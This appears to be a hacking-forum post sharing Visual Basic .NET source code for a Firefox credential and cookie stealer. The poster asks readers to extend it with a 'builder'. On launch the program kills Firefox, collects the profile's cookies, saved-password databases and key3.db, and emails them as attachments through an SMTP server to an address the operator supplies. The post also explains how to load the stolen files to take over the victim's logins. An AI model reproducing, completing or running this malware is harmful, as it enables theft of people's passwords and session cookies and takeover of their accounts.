13 Years of Service
24%
This Is SRC For Cookies & password Recover Example I Found It , But I Don't Test It Yet , So If You Want to Use The Source Code This Will Be At your own risk,
This will send you the cookies file , and 3 other files that contain the passwords and the encryption method !
you just have to put these files in firefox's directory ("C:\documents and settings\username\Application Data\Mozilla\Firefox\Profiles\profilename\")
But be careful cauz this will delete current passwords and cookies sotered on your PC !
I hope that you "complete" this program , add more function on it and a builder ,
Credit To : Tasoskiller
This will send you the cookies file , and 3 other files that contain the passwords and the encryption method !
you just have to put these files in firefox's directory ("C:\documents and settings\username\Application Data\Mozilla\Firefox\Profiles\profilename\")
But be careful cauz this will delete current passwords and cookies sotered on your PC !
I hope that you "complete" this program , add more function on it and a builder ,
Credit To : Tasoskiller
Code:
>[/b]Imports System.Net.Mail
Public Class Form1
Dim signos_sqlite, cookie, signons_txt, key3 As String
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim mail As New MailMessage, smtp As New SmtpClient
With mail
.From = New MailAddress("mail here")
.To.Add(mail here)
.Body = "cookie & password stealer example by TasosKiller ( aka unsuspicious )"
.Subject = "cookies"
End With
With smtp
.Host = host here ( 4 example : "smtp.live.com")
.Port = 25
.EnableSsl = True
.Credentials = New Net.NetworkCredential(mail here,password here)
End With
Dim dir1 As New IO.DirectoryInfo("C:\documents and settings\" & Environment.UserName & "\Application Data\Mozilla\Firefox\Profiles\")
Dim dir As IO.DirectoryInfo
Dim processss() As Process = Process.GetProcesses
For i As Integer = 0 To processss.GetUpperBound(0)
If processss(i).ProcessName = "firefox" Then
processss(i).Kill()
End If
Next
For Each dir In dir1.GetDirectories
Dim file As IO.FileInfo
For Each file In dir.GetFiles
If file.Name.Contains("cookies") Then
cookie = file.FullName
End If
If file.Name.Contains("signons") And file.Extension = ".sqlite" Then
signos_sqlite = file.FullName
End If
If file.Name.Contains("signons") And file.Extension = ".txt" Then
signons_txt = file.FullName
End If
If file.Name.Contains("key3") And file.Extension = ".db" Then
key3 = file.FullName
End If
Next
Next
Dim att1, att2, att3, att4 As Attachment
Try
att1 = New Attachment(signons_txt)
Catch
Try
Threading.Thread.Sleep(2000)
att1 = New Attachment(signons_txt)
Catch ex As Exception
End Try
End Try
Try
att2 = New Attachment(signos_sqlite)
Catch
Try
Threading.Thread.Sleep(2000)
att1 = New Attachment(signos_sqlite)
Catch ex As Exception
End Try
End Try
Try
att3 = New Attachment(cookie)
Catch
Try
Threading.Thread.Sleep(2000)
att3 = New Attachment(cookie)
Catch ex As Exception
End Try
End Try
Try
att4 = New Attachment(key3)
Catch
Try
Threading.Thread.Sleep(2000)
att4 = New Attachment(key3)
Catch
End Try
End Try
Try
mail.Attachments.Add(att1)
mail.Attachments.Add(att2)
mail.Attachments.Add(att3)
mail.Attachments.Add(att4)
smtp.Send(mail)
Catch
End Try
End Sub
End Class[b]